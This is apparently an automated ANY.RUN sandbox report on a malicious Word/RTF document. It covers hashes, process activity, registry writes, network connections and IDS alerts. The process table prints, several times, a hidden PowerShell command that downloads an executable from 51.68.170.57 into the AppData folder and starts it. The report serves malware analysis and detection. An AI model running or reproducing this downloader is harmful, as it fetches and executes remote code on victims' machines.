Malware analysis 6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc Malicious activity

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File name:	6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc
Full analysis:	https://app.any.run/tasks/be3cd14c-1191-4ef4-97a7-11ed64638e3f
Verdict:	Malicious activity
Analysis date:	March 14, 2019, 07:05:12
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	ole-embedded generated-doc
Indicators:
MIME:	text/rtf
File info:	Rich Text Format data, version 1, unknown character set
MD5:	53A1B62EE162DC9E63A98BA67EAF8DB6
SHA1:	AB1461867C879F90718732B408EBAC38D90DE7BD
SHA256:	6A357BEC360CEADA6155C88513C3FF6DB7EE2A138E5369FD7774B075E1931BC1
SSDEEP:	1536:oZdV61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWu:oHcMp8wMp8wMp8wMp8wMp8HID4SmHS

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Executes PowerShell scripts
  - EXCEL.EXE (PID: 2200)
  - EXCEL.EXE (PID: 2316)
  - EXCEL.EXE (PID: 1712)
  - EXCEL.EXE (PID: 3764)
  - EXCEL.EXE (PID: 1428)
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2200)
  - EXCEL.EXE (PID: 2316)
  - EXCEL.EXE (PID: 1712)
  - EXCEL.EXE (PID: 3764)
  - EXCEL.EXE (PID: 1428)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 3572)
  - powershell.exe (PID: 2796)
  - powershell.exe (PID: 3400)
  - powershell.exe (PID: 3664)
  - powershell.exe (PID: 3104)
INFO
- Creates files in the user directory
  - WINWORD.EXE (PID: 3496)
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2200)
  - WINWORD.EXE (PID: 3496)
  - EXCEL.EXE (PID: 1712)
  - EXCEL.EXE (PID: 2316)
  - EXCEL.EXE (PID: 3764)
  - EXCEL.EXE (PID: 1428)
  - excelcnv.exe (PID: 2728)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rtf	\|	Rich Text Format (100)

EXIF

RTF

InternalVersionNumber:	57435
CharactersWithSpaces:	4
Characters:	4
Words:	-
Pages:	1
TotalEditTime:	-
RevisionNumber:	1
ModifyDate:	2019:01:07 23:54:00
CreateDate:	2019:01:07 23:54:00
LastModifiedBy:	Admin
Author:	Admin

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
3496	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc"	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000
2200	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000
3572	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4;	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
2316	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000
2796	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4;	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
1712	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000
3400	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4;	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
3764	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000
3664	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -noprofile $pa8e7ae = $env:APPDATA; $o4e1c4 = $pa8e7ae + '\\kcc396e.exe'; If (test-path $o4e1c4) {Remove-Item $o4e1c4}; $s8b2d = New-Object System.Net.WebClient; $s8b2d.Headers['User-Agent'] = 's8b2d'; $s8b2d.DownloadFile('http://51.68.170.57/nay.exe', $o4e1c4); Start-Process -Filepath $o4e1c4;	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe		EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
1428	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000

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Total events

4 017

Read events

3 295

Write events

694

Delete events

Modification events


(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	?)(
Value: 3F292800A80D0000010000000000000000000000
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	WORDFiles
Value: 1315831829
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1315831948
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:	write	Name:	ProductFiles
Value: 1315831949
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:	write	Name:	MTTT
Value: A80D000016C4654E34DAD40100000000
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	write	Name:	h*(
Value: 682A2800A80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:	delete value	Name:	h*(
Value: 682A2800A80D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:	(3496) WINWORD.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3496	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVRDDAF.tmp.cvr		—
		MD5:—	SHA256:—
2200	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRE5FC.tmp.cvr		—
		MD5:—	SHA256:—
3572	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7LLEBCTOSKYPJ3EN92XX.temp		—
		MD5:—	SHA256:—
2316	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRFF8F.tmp.cvr		—
		MD5:—	SHA256:—
2796	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P5FVQHXLKFHUIFVGK9EG.temp		—
		MD5:—	SHA256:—
1712	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR665.tmp.cvr		—
		MD5:—	SHA256:—
3400	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4PBMT9N6O2M0AKEK53O2.temp		—
		MD5:—	SHA256:—
3764	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRCDD.tmp.cvr		—
		MD5:—	SHA256:—
3664	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QYCLOKVK8CLTOKEANH0I.temp		—
		MD5:—	SHA256:—
1428	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVR145F.tmp.cvr		—
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2796	powershell.exe	GET	404	51.68.170.57:80	http://51.68.170.57/nay.exe	GB	html	283 b	suspicious
3104	powershell.exe	GET	404	51.68.170.57:80	http://51.68.170.57/nay.exe	GB	html	283 b	suspicious
3664	powershell.exe	GET	404	51.68.170.57:80	http://51.68.170.57/nay.exe	GB	html	283 b	suspicious
3400	powershell.exe	GET	404	51.68.170.57:80	http://51.68.170.57/nay.exe	GB	html	283 b	suspicious
3572	powershell.exe	GET	404	51.68.170.57:80	http://51.68.170.57/nay.exe	GB	html	283 b	suspicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2796	powershell.exe	51.68.170.57:80	—	—	GB	suspicious
3664	powershell.exe	51.68.170.57:80	—	—	GB	suspicious
3572	powershell.exe	51.68.170.57:80	—	—	GB	suspicious
3104	powershell.exe	51.68.170.57:80	—	—	GB	suspicious
3400	powershell.exe	51.68.170.57:80	—	—	GB	suspicious

DNS requests

No data

Threats

PID	Process	Class	Message
3572	powershell.exe	A Network Trojan was detected	ET INFO Executable Download from dotted-quad Host
3572	powershell.exe	Potentially Bad Traffic	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2796	powershell.exe	A Network Trojan was detected	ET INFO Executable Download from dotted-quad Host
2796	powershell.exe	Potentially Bad Traffic	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3400	powershell.exe	A Network Trojan was detected	ET INFO Executable Download from dotted-quad Host
3400	powershell.exe	Potentially Bad Traffic	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3664	powershell.exe	A Network Trojan was detected	ET INFO Executable Download from dotted-quad Host
3664	powershell.exe	Potentially Bad Traffic	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3104	powershell.exe	A Network Trojan was detected	ET INFO Executable Download from dotted-quad Host
3104	powershell.exe	Potentially Bad Traffic	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile

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No debug info

General Info

6a357bec360ceada6155c88513c3ff6db7ee2a138e5369fd7774b075e1931bc1.doc

53A1B62EE162DC9E63A98BA67EAF8DB6

AB1461867C879F90718732B408EBAC38D90DE7BD

6A357BEC360CEADA6155C88513C3FF6DB7EE2A138E5369FD7774B075E1931BC1

1536:oZdV61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWd07mz5hU2iDbiM4/61oY2fpBWu:oHcMp8wMp8wMp8wMp8wMp8HID4SmHS

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes PowerShell scripts

Unusual execution from Microsoft Office

SUSPICIOUS

Creates files in the user directory

INFO

Creates files in the user directory

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

RTF

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings